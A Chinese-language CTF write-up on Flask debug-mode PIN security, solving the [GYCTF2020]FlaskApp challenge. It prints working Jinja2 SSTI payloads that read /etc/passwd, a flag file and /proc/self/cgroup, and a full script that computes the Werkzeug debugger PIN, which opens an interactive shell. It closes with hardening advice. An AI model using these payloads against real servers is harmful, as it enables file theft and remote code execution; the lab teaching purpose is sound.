Flask开启debug时PIN码的安全性问题
字数 1181 2025-08-29 08:31:53
Flask Debug模式PIN码安全性分析与利用
前言
当Flask开启debug模式时,debug页面会包含一个Python交互式shell,可以执行任意Python代码。这带来了严重的安全隐患,需要通过PIN码进行保护。本文将详细分析PIN码的生成机制及可能的利用方式。
基础示例
from flask import Flask
app = Flask(__name__)
@app.route("/index")
def hello():
return Liwer # 故意制造错误
if __name__ == "__main__":
app.run(host="127.0.0.1", port=3000, debug=True)
当访问该应用时,会显示错误页面,其中包含:
- Web应用目录信息
- 可能的Python交互式shell入口(需要PIN码)
PIN码生成机制
PIN码由以下6个要素组合生成,缺一不可:
- 当前计算机用户名:运行Flask应用的操作系统用户名
- modname:通常为
flask.app - 应用名称:
getattr(app, "__name__", app.__class__.__name__),通常为Flask - flask库下app.py的绝对路径:可从报错信息中获取
- 当前网络MAC地址的十进制表示:通过
str(uuid.getnode())获取 - 机器ID:通过
get_machine_id()获取
机器ID获取方式
-
非Docker环境:
/etc/machine-id- 或
/proc/sys/kernel/random/boot_id
-
Docker环境:
- 读取
/proc/self/cgroup - 取第一行
/docker/后面的内容作为机器ID
- 读取
实战利用 - [GYCTF2020]FlaskApp
方法一:直接SSTI利用
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl' + 'ag.txt', 'r').read()}}
{% endif %}
{% endfor %}
方法二:通过PIN码进入交互式shell
-
获取Flask用户名:
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }} {% endif %} {% endfor %}输出中查找运行Flask的用户名(如
flaskweb) -
获取app.py绝对路径:
从错误页面直接获取,如:
/usr/local/lib/python3.7/site-packages/flask/app.py -
获取MAC地址十进制数:
- 读取
/sys/class/net/eth0/address(如72:fe:70:bd:04:59) - 去除冒号后转换为十进制:
int("72fe70bd0459", 16) # 结果为126437138695257
- 读取
-
获取机器ID(Docker环境):
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }} {% endif %} {% endfor %}输出示例:
bb89acbd6e0417d61a68ffd090617baed746e020991af325389751b3cb57338b
PIN码生成脚本
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'126437138695257', # str(uuid.getnode()), /sys/class/net/ens33/address
'bb89acbd6e0417d61a68ffd090617baed746e020991af325389751b3cb57338b' # get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
注意事项
- 在某些Docker环境中,可能需要使用
/etc/machine-id而非/proc/self/cgroup的内容 - 同一台机器多次启动Flask服务的PIN码相同
- 生成PIN码需要准确获取所有6个要素
安全建议
- 生产环境切勿开启debug模式
- 如必须使用debug模式,应限制访问IP
- 定期检查服务器上的敏感文件权限
- 使用复杂用户名增加PIN码猜测难度